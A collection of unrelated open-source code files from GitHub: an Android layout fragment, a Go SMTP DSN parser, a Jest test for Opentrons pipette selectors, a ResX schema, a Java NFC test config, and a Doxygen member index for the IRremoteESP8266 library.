android:layout_centerVertical="true"
android:layout_gravity="right|center" />
<View android:id="@+id/umeng_socialize_divider"
style="@style/umeng_socialize_divider"
android:layout_below="@id/umeng_socialize_msg"/>
</RelativeLayout>
|
{
"pile_set_name": "Github"
}
|
package core
import (
"errors"
"net"
"strconv"
"strings"
)
// DSN IP port and secured (none, tls, ssl)
type dsn struct {
tcpAddr net.TCPAddr
ssl bool
}
// String return string representation of a dsn
func (d *dsn) String() string {
s := ""
if d.ssl {
s = " SSL"
}
return d.tcpAddr.String() + s
}
//getDsnsFromString Get dsn string from config and returns slice of dsn struct
func GetDsnsFromString(dsnsStr string) (dsns []dsn, err error) {
if len(dsnsStr) == 0 {
return dsns, errors.New("your smtpd.dsn string is empty")
}
// clean
dsnsStr = strings.ToLower(dsnsStr)
// parse
for _, dsnStr := range strings.Split(dsnsStr, ";") {
if strings.Count(dsnStr, ":") != 2 {
return dsns, errors.New("bad smtpd.dsn " + dsnStr + " found in config" + dsnsStr)
}
t := strings.Split(dsnStr, ":")
// ip & port valid ?
tcpAddr, err := net.ResolveTCPAddr("tcp", net.JoinHostPort(t[0], t[1]))
if err != nil {
return dsns, errors.New("bad IP:Port found in dsn" + dsnStr + "from config dsn" + dsnsStr)
}
ssl, err := strconv.ParseBool(t[2])
if err != nil {
return dsns, ErrBadDsn(err)
}
dsns = append(dsns, dsn{*tcpAddr, ssl})
}
return
}
|
{
"pile_set_name": "Github"
}
|
// @flow
import noop from 'lodash/noop'
import * as SharedData from '@opentrons/shared-data'
import * as Selectors from '../selectors'
import * as Fixtures from '../__fixtures__'
import * as RobotSelectors from '../../robot/selectors'
import type { State } from '../../types'
jest.mock('@opentrons/shared-data')
jest.mock('../../robot/selectors')
type SelectorSpec = {|
name: string,
selector: (State, string) => mixed,
state: $Shape<State>,
expected: mixed,
before?: () => mixed,
after?: () => mixed,
|}
const mockGetPipetteModelSpecs: JestMockFn<
[string],
$Call<typeof SharedData.getPipetteModelSpecs, string>
> = SharedData.getPipetteModelSpecs
const mockGetPipetteNameSpecs: JestMockFn<
[string],
$Call<typeof SharedData.getPipetteNameSpecs, string>
> = SharedData.getPipetteNameSpecs
const mockGetProtocolPipettes: JestMockFn<
[State],
$Call<typeof RobotSelectors.getPipettes, State>
> = RobotSelectors.getPipettes
const mockLeftPipette: any = {
id: 'abc',
model: 'mock_left_model',
}
const mockRightPipette: any = {
id: 'def',
model: 'mock_right_model',
}
const mockLeftSpecs: any = {
displayName: 'Left Pipette',
name: 'mock_left',
backCompatNames: ['mock_left_legacy'],
}
const mockLeftLegacySpecs: any = {
displayName: 'Left Pipette Legacy',
name: 'mock_left_legacy',
}
const mockRightSpecs: any = {
displayName: 'Right Pipette',
name: 'mock_right',
}
// NOTE: protocol pipettes use "name" for the exact "model" because reasons
const mockLeftProtoPipette: any = {
mount: 'left',
name: 'mock_left_model',
modelSpecs: mockLeftSpecs,
}
const mockRightProtoPipette: any = {
mount: 'right',
name: 'mock_right_model',
modelSpecs: mockRightSpecs,
}
const SPECS: Array<SelectorSpec> = [
{
name: 'returns nulls by default',
selector: Selectors.getProtocolPipettesInfo,
state: {
pipettes: {
robotName: {
attachedByMount: null,
settingsById: null,
},
},
},
expected: {
left: { compatibility: 'match', protocol: null, actual: null },
right: { compatibility: 'match', protocol: null, actual: null },
},
},
{
name: 'gets model specs for attached pipettes',
selector: Selectors.getProtocolPipettesInfo,
state: {
pipettes: {
robotName: {
attachedByMount: {
left: mockLeftPipette,
right: mockRightPipette,
},
settingsById: null,
},
},
},
expected: {
left: {
compatibility: 'match',
protocol: null,
actual: {
...mockLeftPipette,
modelSpecs: mockLeftSpecs,
displayName: 'Left Pipette',
},
},
right: {
compatibility: 'match',
protocol: null,
actual: {
...mockRightPipette,
modelSpecs: mockRightSpecs,
displayName: 'Right Pipette',
},
},
},
},
{
name: 'marks as match if spec names match',
selector: Selectors.getProtocolPipettesInfo,
state: {
pipettes: {
robotName: {
attachedByMount: {
left: mockLeftPipette,
right: mockRightPipette,
},
settingsById: null,
},
},
},
before: () => {
mockGetProtocolPipettes.mockReturnValue([
mockLeftProtoPipette,
mockRightProtoPipette,
])
},
expected: {
left: {
compatibility: 'match',
protocol: {
...mockLeftProtoPipette,
displayName: 'Left Pipette',
},
actual: {
...mockLeftPipette,
modelSpecs: mockLeftSpecs,
displayName: 'Left Pipette',
},
},
right: {
compatibility: 'match',
protocol: {
...mockRightProtoPipette,
displayName: 'Right Pipette',
},
actual: {
...mockRightPipette,
modelSpecs: mockRightSpecs,
displayName: 'Right Pipette',
},
},
},
},
{
name: 'marks as inexact match if spec names match in backcompat',
selector: Selectors.getProtocolPipettesInfo,
state: {
pipettes: {
robotName: {
attachedByMount: {
left: mockLeftPipette,
right: Fixtures.mockUnattachedPipette,
},
settingsById: null,
},
},
},
before: () => {
mockGetProtocolPipettes.mockReturnValue([
{ ...mockLeftProtoPipette, modelSpecs: mockLeftLegacySpecs },
])
},
expected: {
left: {
compatibility: 'inexact_match',
protocol: {
...mockLeftProtoPipette,
modelSpecs: mockLeftLegacySpecs,
displayName: 'Left Pipette Legacy',
},
actual: {
...mockLeftPipette,
modelSpecs: mockLeftSpecs,
displayName: 'Left Pipette',
},
},
right: { compatibility: 'match', protocol: null, actual: null },
},
},
{
name: 'uses requestedAs from protocol pipette if available',
selector: Selectors.getProtocolPipettesInfo,
state: {
pipettes: {
robotName: {
attachedByMount: {
left: mockLeftPipette,
right: Fixtures.mockUnattachedPipette,
},
settingsById: null,
},
},
},
before: () => {
mockGetProtocolPipettes.mockReturnValue([
{ ...mockLeftProtoPipette, requestedAs: mockLeftLegacySpecs.name },
])
},
expected: {
left: {
compatibility: 'inexact_match',
protocol: {
...mockLeftProtoPipette,
requestedAs: mockLeftLegacySpecs.name,
displayName: 'Left Pipette Legacy',
},
actual: {
...mockLeftPipette,
modelSpecs: mockLeftSpecs,
displayName: 'Left Pipette',
},
},
right: { compatibility: 'match', protocol: null, actual: null },
},
},
]
describe('protocol pipettes comparison selectors', () => {
beforeEach(() => {
mockGetProtocolPipettes.mockReturnValue([])
mockGetPipetteModelSpecs.mockImplementation(model => {
if (model === mockLeftPipette.model) return mockLeftSpecs
if (model === mockRightPipette.model) return mockRightSpecs
return null
})
mockGetPipetteNameSpecs.mockImplementation(name => {
if (name === mockLeftLegacySpecs.name) return mockLeftLegacySpecs
return null
})
})
SPECS.forEach(spec => {
const {
name,
selector,
state,
expected,
before = noop,
after = noop,
} = spec
it(name, () => {
before()
expect(selector(state, 'robotName')).toEqual(expected)
after()
})
})
})
|
{
"pile_set_name": "Github"
}
|
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
</root>
|
{
"pile_set_name": "Github"
}
|
/**
* Copyright 2011-2012 Adrian Stabiszewski, as@nfctools.org
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.nfctools.test;
import java.io.IOException;
import org.nfctools.mf.ul.MemoryLayout;
import org.nfctools.mf.ul.Type2NdefOperations;
import org.nfctools.spi.acs.AcrMfUlReaderWriter;
public abstract class TestConfigs {
public static final String[] TYPE2_BLANK_TAGS = { "mfulc_blank.txt", "mful_blank.txt" };
public static Type2NdefOperations getType2BlankTag(String fileName) {
return getType2BlankTag(fileName, false, true);
}
public static Type2NdefOperations getType2BlankTag(String fileName, boolean formatted, boolean writable) {
try {
InMemoryTag tag = new InMemoryTag(FileMfUlReader.loadCardFromFile(fileName));
AcrMfUlReaderWriter readerWriter = new AcrMfUlReaderWriter(tag);
return new Type2NdefOperations(fileName.startsWith("mful_") ? MemoryLayout.ULTRALIGHT
: MemoryLayout.ULTRALIGHT_C, readerWriter, readerWriter.getTagInfo(), formatted, writable);
}
catch (IOException e) {
throw new RuntimeException(e);
}
}
}
|
{
"pile_set_name": "Github"
}
|
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "https://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/xhtml;charset=UTF-8"/>
<meta http-equiv="X-UA-Compatible" content="IE=9"/>
<meta name="generator" content="Doxygen 1.8.17"/>
<meta name="viewport" content="width=device-width, initial-scale=1"/>
<title>IRremoteESP8266: Class Members</title>
<link href="tabs.css" rel="stylesheet" type="text/css"/>
<script type="text/javascript" src="jquery.js"></script>
<script type="text/javascript" src="dynsections.js"></script>
<link href="search/search.css" rel="stylesheet" type="text/css"/>
<script type="text/javascript" src="search/searchdata.js"></script>
<script type="text/javascript" src="search/search.js"></script>
<link href="doxygen.css" rel="stylesheet" type="text/css" />
</head>
<body>
<div id="top"><!-- do not remove this div, it is closed by doxygen! -->
<div id="titlearea">
<table cellspacing="0" cellpadding="0">
<tbody>
<tr style="height: 56px;">
<td id="projectalign" style="padding-left: 0.5em;">
<div id="projectname">IRremoteESP8266
</div>
</td>
</tr>
</tbody>
</table>
</div>
<!-- end header part -->
<!-- Generated by Doxygen 1.8.17 -->
<script type="text/javascript">
/* @license magnet:?xt=urn:btih:cf05388f2679ee054f2beb29a391d25f4e673ac3&dn=gpl-2.0.txt GPL-v2 */
var searchBox = new SearchBox("searchBox", "search",false,'Search');
/* @license-end */
</script>
<script type="text/javascript" src="menudata.js"></script>
<script type="text/javascript" src="menu.js"></script>
<script type="text/javascript">
/* @license magnet:?xt=urn:btih:cf05388f2679ee054f2beb29a391d25f4e673ac3&dn=gpl-2.0.txt GPL-v2 */
$(function() {
initMenu('',true,false,'search.php','Search');
$(document).ready(function() { init_search(); });
});
/* @license-end */</script>
<div id="main-nav"></div>
</div><!-- top -->
<!-- window showing the filter options -->
<div id="MSearchSelectWindow"
onmouseover="return searchBox.OnSearchSelectShow()"
onmouseout="return searchBox.OnSearchSelectHide()"
onkeydown="return searchBox.OnSearchSelectKey(event)">
</div>
<!-- iframe showing the search results (closed by default) -->
<div id="MSearchResultsWindow">
<iframe src="javascript:void(0)" frameborder="0"
name="MSearchResults" id="MSearchResults">
</iframe>
</div>
<div class="contents">
<div class="textblock">Here is a list of all class members with links to the classes they belong to:</div>
<h3><a id="index_c"></a>- c -</h3><ul>
<li>calcBlockChecksum()
: <a class="el" href="classIRKelvinatorAC.html#a22f561397c526ed6cc3f69a5d527d8d6">IRKelvinatorAC</a>
</li>
<li>calcChecksum()
: <a class="el" href="classIRAmcorAc.html#aec764cf4d88bb3fcbe3f36d24780f6a9">IRAmcorAc</a>
, <a class="el" href="classIRArgoAC.html#acab2fe3b9f77f57f0e99da0bec0d7392">IRArgoAC</a>
, <a class="el" href="classIRCarrierAc64.html#a20676dcf4b0a6510cc3bce282fbf8504">IRCarrierAc64</a>
, <a class="el" href="classIRDaikin64.html#ac29c18fde1b0cd98991e68c0f672d0e9">IRDaikin64</a>
, <a class="el" href="classIRDelonghiAc.html#a14d7629bb888deb02e83886191f44c2d">IRDelonghiAc</a>
, <a class="el" href="classIRElectraAc.html#aa8063d07e41ca2cc0fd27093a2e67bb2">IRElectraAc</a>
, <a class="el" href="classIRHitachiAc1.html#a6995513d5b59cd7b14cfff39c8843e8d">IRHitachiAc1</a>
, <a class="el" href="classIRHitachiAc.html#a6e5da77c12ad105439eb159b6a58104a">IRHitachiAc</a>
, <a class="el" href="classIRLgAc.html#a96024e736cf87e65b4e2db7c4c269520">IRLgAc</a>
, <a class="el" href="classIRMideaAC.html#ac8733348b311ecf8eed87021cdf4ee31">IRMideaAC</a>
, <a class="el" href="classIRNeoclimaAc.html#ac75f316cd1813cdb4e8a6d45d10ddd57">IRNeoclimaAc</a>
, <a class="el" href="classIRPanasonicAc.html#a0e38b0f3c54e49cdb59f92279e19840f">IRPanasonicAc</a>
, <a class="el" href="classIRSamsungAc.html#a00f9b2a1480d2ed45bdea5d236c77d0f">IRSamsungAc</a>
, <a class="el" href="classIRSanyoAc.html#a7836c947d6d725d6c55ae2ca9e8b445d">IRSanyoAc</a>
, <a class="el" href="classIRSharpAc.html#af3655c9c394b1391572e8ffab70881ff">IRSharpAc</a>
, <a class="el" href="classIRTcl112Ac.html#a0973a1c8a53661ee7720ecb5d08e6dcc">IRTcl112Ac</a>
, <a class="el" href="classIRToshibaAC.html#a0d91d32d0d9d722f750eb423d88509f4">IRToshibaAC</a>
, <a class="el" href="classIRTrotecESP.html#ac1fdbcbbb8dd1ca50ccf2b55c7281c89">IRTrotecESP</a>
, <a class="el" href="classIRVestelAc.html#ac0ba3de4de70350c5325b3d5e0b39e58">IRVestelAc</a>
, <a class="el" href="classIRVoltas.html#a0069131bedc4b97a61547abe9640fd09">IRVoltas</a>
</li>
<li>calcFirstChecksum()
: <a class="el" href="classIRDaikin128.html#a25b25f6b73bb5f1fd17a16080179d4bc">IRDaikin128</a>
</li>
<li>calcSecondChecksum()
: <a class="el" href="classIRDaikin128.html#aea8da64300afe0d62ddf3082a72251f2">IRDaikin128</a>
</li>
<li>calculateChecksum()
: <a class="el" href="classIRMitsubishiAC.html#aaadefc5880dcd48e3fb2f12b59101f71">IRMitsubishiAC</a>
</li>
<li>calcUSecPeriod()
: <a class="el" href="classIRsend.html#ae9e68c0ed22e27c8f7ff82cec7ca3e33">IRsend</a>
</li>
<li>calibrate()
: <a class="el" href="classIRAirwellAc.html#ae7a80cbb217d35835961477caaea3218">IRAirwellAc</a>
, <a class="el" href="classIRAmcorAc.html#a6206e866e859bc4690cb014c49c1ff80">IRAmcorAc</a>
, <a class="el" href="classIRArgoAC.html#a63cd2f350a7f249c020439543ef3c6d5">IRArgoAC</a>
, <a class="el" href="classIRCarrierAc64.html#a0718376156750e66f98ea0549c75b21b">IRCarrierAc64</a>
, <a class="el" href="classIRCoolixAC.html#a9e39ce5050888210d6ba9b79ae3763e3">IRCoolixAC</a>
, <a class="el" href="classIRCoronaAc.html#a5b10141e4a6e3d8511fb7f9f46d00a96">IRCoronaAc</a>
, <a class="el" href="classIRDaikin128.html#a281396f4c632899648694e3139c3acd0">IRDaikin128</a>
, <a class="el" href="classIRDaikin152.html#a82fa8bfb3384ed09473345b6e194c3ba">IRDaikin152</a>
, <a class="el" href="classIRDaikin160.html#a608b5556f316c31e3a8aa73684e4e10d">IRDaikin160</a>
, <a class="el" href="classIRDaikin176.html#a1f5989110782c18aa18e3757c50f4a31">IRDaikin176</a>
, <a class="el" href="classIRDaikin216.html#a49d7501966528c0a690cfb505f163e26">IRDaikin216</a>
, <a class="el" href="classIRDaikin2.html#a96c62125bddf113c6524960062d05a57">IRDaikin2</a>
, <a class="el" href="classIRDaikin64.html#a12a1e21ba1b06f9b3ffac56691ff2206">IRDaikin64</a>
, <a class="el" href="classIRDaikinESP.html#a638a49f49275a2ab0affb09088794e1b">IRDaikinESP</a>
, <a class="el" href="classIRDelonghiAc.html#aab8f78adcd7fcbea0be753a4fc7696e0">IRDelonghiAc</a>
, <a class="el" href="classIRElectraAc.html#af333e90117ab035ff92389d4eefb3649">IRElectraAc</a>
, <a class="el" href="classIRFujitsuAC.html#a8bb6d8456561dfb04ccac95e0e489558">IRFujitsuAC</a>
, <a class="el" href="classIRGoodweatherAc.html#a8a747144587cf38d64bb32a7f86432b3">IRGoodweatherAc</a>
, <a class="el" href="classIRGreeAC.html#a8069d00a16ed04fd6fa10d84b364bca7">IRGreeAC</a>
, <a class="el" href="classIRHaierAC.html#a448b1d5db05f7722db4758e968ea3171">IRHaierAC</a>
, <a class="el" href="classIRHaierACYRW02.html#a2081b29d0526e339a6b94fc41c854197">IRHaierACYRW02</a>
, <a class="el" href="classIRHitachiAc1.html#a847a26df2e19668b147cba2eef595a21">IRHitachiAc1</a>
, <a class="el" href="classIRHitachiAc3.html#a02e065c08f9ec4a3d9e6f71432087595">IRHitachiAc3</a>
, <a class="el" href="classIRHitachiAc424.html#aae5e5c13767f335331c5fab8d8ba55d6">IRHitachiAc424</a>
, <a class="el" href="classIRHitachiAc.html#aaabd743da491ef5d73c4b8c46f11241a">IRHitachiAc</a>
, <a class="el" href="classIRKelvinatorAC.html#aee8863c1678b09432618bb4ca734db95">IRKelvinatorAC</a>
, <a class="el" href="classIRLgAc.html#a4fd11e935c781319b29f606f2f4b2570">IRLgAc</a>
, <a class="el" href="classIRMideaAC.html#a4077604c2af56783f95a0a64eda7148b">IRMideaAC</a>
, <a class="el" href="classIRMitsubishi112.html#ad148250070a3f4ac57ed6cb957ffdefb">IRMitsubishi112</a>
, <a class="el" href="classIRMitsubishi136.html#a76133542efc3763cb7edc9809ad8d93c">IRMitsubishi136</a>
, <a class="el" href="classIRMitsubishiAC.html#a973c876e34942776ac98f27de96c5228">IRMitsubishiAC</a>
, <a class="el" href="classIRMitsubishiHeavy152Ac.html#a5d4c4ce0e69ed33a2f1db2af127c13c5">IRMitsubishiHeavy152Ac</a>
, <a class="el" href="classIRMitsubishiHeavy88Ac.html#a027423ffbee92ef65b02423f7cbaeca8">IRMitsubishiHeavy88Ac</a>
, <a class="el" href="classIRNeoclimaAc.html#a636dd97ca22c847f966eca8112c8eede">IRNeoclimaAc</a>
, <a class="el" href="classIRPanasonicAc.html#a3f850333f2aa7ce40856c99ef85ffd79">IRPanasonicAc</a>
, <a class="el" href="classIRSamsungAc.html#a5cc7486ae41f61cbe0bb053dd7c9e9e3">IRSamsungAc</a>
, <a class="el" href="classIRSanyoAc.html#a603f8f7dcfa1c3707a64ee092c72cb09">IRSanyoAc</a>
, <a class="el" href="classIRsend.html#ad1776aa6c699f9eeca1eef9bb4fe355b">IRsend</a>
, <a class="el" href="classIRSharpAc.html#ac37b1a5679ce90e84f6f95c5df1526bb">IRSharpAc</a>
, <a class="el" href="classIRTcl112Ac.html#a435744e4c6ef31b362d15523ce0584f5">IRTcl112Ac</a>
, <a class="el" href="classIRTecoAc.html#ad700578cbae74857483372597a399ff3">IRTecoAc</a>
, <a class="el" href="classIRToshibaAC.html#a74c66bba288cb3cbb43008edb7b376bf">IRToshibaAC</a>
, <a class="el" href="classIRTrotecESP.html#a56de318a27011e0bddb40738c18dbcf2">IRTrotecESP</a>
, <a class="el" href="classIRVestelAc.html#aae91667d96d86de824a20c256c311f15">IRVestelAc</a>
, <a class="el" href="classIRVoltas.html#ac264033a983290d9c194fde822ed63a4">IRVoltas</a>
, <a class="el" href="classIRWhirlpoolAc.html#a006c59c1c84c62fccd3730bec30ef5e8">IRWhirlpoolAc</a>
</li>
<li>cancelOffTimer()
: <a class="el" href="classIRPanasonicAc.html#a6d202284320c59205cb0d02cb613cada">IRPanasonicAc</a>
</li>
<li>cancelOnTimer()
: <a class="el" href="classIRPanasonicAc.html#a102e7c029a923e121e40326859f2e4a3">IRPanasonicAc</a>
</li>
<li>cancelTimers()
: <a class="el" href="classIRHaierAC.html#a1cccc733f74232751f95c32e47795638">IRHaierAC</a>
</li>
<li>carrier64()
: <a class="el" href="classIRac.html#a8090f2d79a31b81a0342b2e9efb9d555">IRac</a>
</li>
<li>celsius
: <a class="el" href="structstdAc_1_1state__t.html#a235b17f3979b155b368bfdc2b14123f5">stdAc::state_t</a>
</li>
<li>checksum()
: <a class="el" href="classIRAmcorAc.html#a67244a75731be6a3bd96ecc0384d0113">IRAmcorAc</a>
, <a class="el" href="classIRArgoAC.html#ab0fe4e42d1c1201a92f5c4738b869763">IRArgoAC</a>
, <a class="el" href="classIRCarrierAc64.html#a005fab56acf94fe97db7fa92651b2882">IRCarrierAc64</a>
, <a class="el" href="classIRCoronaAc.html#ae0257fdafacf7fd2e7ac6ca3f8ae3168">IRCoronaAc</a>
, <a class="el" href="classIRDaikin128.html#a747c906808c269581de6cf9b02e5c0a7">IRDaikin128</a>
, <a class="el" href="classIRDaikin152.html#a0e208d3e1938abcb320665fffd6ed0e3">IRDaikin152</a>
, <a class="el" href="classIRDaikin160.html#a34090a598e2b25ee4688c8fbac933638">IRDaikin160</a>
, <a class="el" href="classIRDaikin176.html#a4cfe2c4ca95adbf66e149b322d58a843">IRDaikin176</a>
, <a class="el" href="classIRDaikin216.html#af2c951901b3b9db9f285a4e9b563ea5e">IRDaikin216</a>
, <a class="el" href="classIRDaikin2.html#abb8e4ad1f8c3ada4211541e5a6e23e64">IRDaikin2</a>
, <a class="el" href="classIRDaikin64.html#a27e2f82b2f13f1e63e981af8f1d3912a">IRDaikin64</a>
, <a class="el" href="classIRDaikinESP.html#ac8ac2a0674dc5cfaf514d319b51b20ab">IRDaikinESP</a>
, <a class="el" href="classIRDelonghiAc.html#ae4c4e7140a763eee159991f5c8afc54f">IRDelonghiAc</a>
, <a class="el" href="classIRElectraAc.html#a73dc5b9a038669cc1f00f5b64ad458d1">IRElectraAc</a>
, <a class="el" href="classIRGreeAC.html#aaa6b2702d79a7a3db454b99d71064679">IRGreeAC</a>
, <a class="el" href="classIRHaierAC.html#ab7faae274ff7f30bf7df3c58d6e7e210">IRHaierAC</a>
, <a class="el" href="classIRHaierACYRW02.html#a18045defdd5641ae13c7c75dda0cf23a">IRHaierACYRW02</a>
, <a class="el" href="classIRHitachiAc1.html#aa6687d6282b134d508d6534e8446b341">IRHitachiAc1</a>
, <a class="el" href="classIRHitachiAc.html#a3b65ccbd6de6b5dcb5a794b471e363f5">IRHitachiAc</a>
, <a class="el" href="classIRKelvinatorAC.html#a09acf66b92d3fde6692ec02ff8e62dab">IRKelvinatorAC</a>
, <a class="el" href="classIRLgAc.html#a438cbbb77668205c3f2b59b8f28585cd">IRLgAc</a>
, <a class="el" href="classIRMideaAC.html#a418b7cbb4b388dba732176d891bb499d">IRMideaAC</a>
, <a class="el" href="classIRMitsubishi112.html#a65ee232bfc09d05724b8ec5ada538ccf">IRMitsubishi112</a>
, <a class="el" href="classIRMitsubishi136.html#aa2c6fe9b28462052cf6627960126a783">IRMitsubishi136</a>
, <a class="el" href="classIRMitsubishiAC.html#a7c5b1e5c53d99f1564d8a0424f626adb">IRMitsubishiAC</a>
, <a class="el" href="classIRMitsubishiHeavy152Ac.html#a14cdcaeefef283f707d0fae5108d65f4">IRMitsubishiHeavy152Ac</a>
, <a class="el" href="classIRMitsubishiHeavy88Ac.html#acb03ef0da10d3fec14c71bfa087a02b8">IRMitsubishiHeavy88Ac</a>
, <a class="el" href="classIRNeoclimaAc.html#acba18ea35a59f6f1ccbcfd75e7979feb">IRNeoclimaAc</a>
, <a class="el" href="classIRSamsungAc.html#a75c5886916dd3ef3aa6f96f04934048d">IRSamsungAc</a>
, <a class="el" href="classIRSanyoAc.html#abeb47f286c0228d5694a0b8218a29408">IRSanyoAc</a>
, <a class="el" href="classIRSharpAc.html#ad87f46ad9220213d77022dc34920d802">IRSharpAc</a>
, <a class="el" href="classIRTcl112Ac.html#a2486f46c7db6a3dfbe3af9c842ff37fa">IRTcl112Ac</a>
, <a class="el" href="classIRToshibaAC.html#a5aa2c6fc3b07830f872f98906df7e9ec">IRToshibaAC</a>
, <a class="el" href="classIRTrotecESP.html#a5e416e083653ab365f65b3f645f60e8c">IRTrotecESP</a>
, <a class="el" href="classIRVestelAc.html#a7a9046e7b5ff57864862bf5f7ad23c4d">IRVestelAc</a>
, <a class="el" href="classIRVoltas.html#acd7b669c0ef94959f1fc9d7a8f7abe8a">IRVoltas</a>
, <a class="el" href="classIRWhirlpoolAc.html#a7790be3df6c4609e5c08c17c5ee52047">IRWhirlpoolAc</a>
</li>
<li>Checksum
: <a class="el" href="unionVoltasProtocol.html#a4349ae4488d2d9c9dd5606502d486b19">VoltasProtocol</a>
</li>
<li>checkZjsSig()
: <a class="el" href="classIRMitsubishiHeavy88Ac.html#a6aaf8ae4c9b52d73229b20414099f309">IRMitsubishiHeavy88Ac</a>
</li>
<li>checkZmsSig()
: <a class="el" href="classIRMitsubishiHeavy152Ac.html#a3d1c9d2c98945d21eb1ce82fac1771d2">IRMitsubishiHeavy152Ac</a>
</li>
<li>clean
: <a class="el" href="structstdAc_1_1state__t.html#a703fa57ade60d68deccbb2a59258b32a">stdAc::state_t</a>
</li>
<li>cleanFlag
: <a class="el" href="classIRCoolixAC.html#a9280bc7517713dae451a64e35674804d">IRCoolixAC</a>
</li>
<li>cleanState()
: <a class="el" href="classIRac.html#aad988dc123495012758307213a933f37">IRac</a>
</li>
<li>clearOnTimerFlag()
: <a class="el" href="classIRDaikin128.html#a8f0bd823535a5bf8b2642eed698b9a71">IRDaikin128</a>
, <a class="el" href="classIRDaikin2.html#a3587ce954ba94e347d08d73974b50d72">IRDaikin2</a>
</li>
<li>clearPowerSpecial()
: <a class="el" href="classIRSharpAc.html#a3c98c96a66dff560941e461a70efdb1a">IRSharpAc</a>
</li>
<li>clearSensorTemp()
: <a class="el" href="classIRCoolixAC.html#a5deca09ced33931f089f5cd3c07eac4a">IRCoolixAC</a>
</li>
<li>clearSleepTimerFlag()
: <a class="el" href="classIRDaikin128.html#a5517a481892dd55f4528103037a0d408">IRDaikin128</a>
, <a class="el" href="classIRDaikin2.html#a0c165ff91a712e61910ef25e9728e066">IRDaikin2</a>
</li>
<li>clock
: <a class="el" href="structstdAc_1_1state__t.html#ab1d76172930ebfe992fd9b700369e787">stdAc::state_t</a>
</li>
<li>cmd
: <a class="el" href="unionmagiquest.html#ae4e71f4919a714a6d5db4b2e420e8c43">magiquest</a>
</li>
<li>cmpStates()
: <a class="el" href="classIRac.html#a3ba4eee08650dfcdd6d492a67c86f016">IRac</a>
</li>
<li>command
: <a class="el" href="classdecode__results.html#a9b750d09f713b0693472f815fd0fd402">decode_results</a>
</li>
<li>Command
